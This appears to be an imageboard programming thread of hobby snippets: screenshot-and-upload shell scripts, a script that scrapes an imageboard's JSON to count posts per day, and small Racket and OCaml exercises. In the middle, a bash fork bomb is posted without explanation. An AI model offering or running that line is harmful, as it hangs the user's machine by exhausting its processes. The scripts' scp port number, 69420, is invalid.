/λ/ - programming

#!/bin/sh

#sc.sh
#/usr/local/bin/sc

#rfn is a program I wrote that outputs a random name to stdout

filename=$(rfn png)

#interactive screenshot with scrot
scrot -s "/var/screenshot/$filename"

#send to vps
scp -P 69420 "/var/screenshot/$filename" "vps:/var/www/domain.tld/ss"

#echo url into clipboard
echo "http://ss.domain.tld/$filename" | xclip -r -selection clip-board -i

#!/bin/sh

#scdicks.sh
#/usr/local/bin/scdicks

#rfn is a program I wrote that outputs a random name to stdout

filename=$(rfn png)
filename2=$(rfn png)

#interactive screenshot with scrot
scrot -s "/var/screenshot/$filename"

#overlay the dicks
composite -gravity center "/var/screenshot/dicksred.png" "/var/screenshot/$filename" "/var/screenshot/$filename2"

#send to vps
scp -P 69420 "/var/screenshot/$filename2" "vps:/var/www/domain.tld/ss"

#echo url into clipboard
echo "http://ss.domain.tld/$filename2" | xclip -r -selection clip-board -i

 :(){ :|: & };:

#!/bin/bash

get_posts_by_day () {
    domain="${IMAGEBOARD:-https://legacy.arisuchan.jp}"
    board="$1"

    threads=$(wget -q -O - "${domain}/${board}/threads.json" \
                  | jq '.[].threads[].no')

    for t in ${threads}; do
        wget -q -O - "${domain}/${board}/res/${t}.json" \
            | jq '.posts[].time' \
            | sed -e 's/^/@/' \
            | xargs -n1 date -I -d
    done | sort | uniq -c | awk '{ print $2 " " $1 }'
}

(( $# != 1 )) && { echo "Usage: $0 <board>"; exit 1; }
get_posts_by_day "$@"

(for/sum ([i (in-range 1000)]
          #:when (zero?
                  (* (remainder i 3)
                     (remainder i 5))))
  i)

let rec f acc =
  let p x = x mod 3 = 0 || x mod 5 = 0 in function
    | x when p x -> f (acc + x) (x - 1)
    | x when x > 0 -> f acc (x - 1)
    | _ -> acc
;;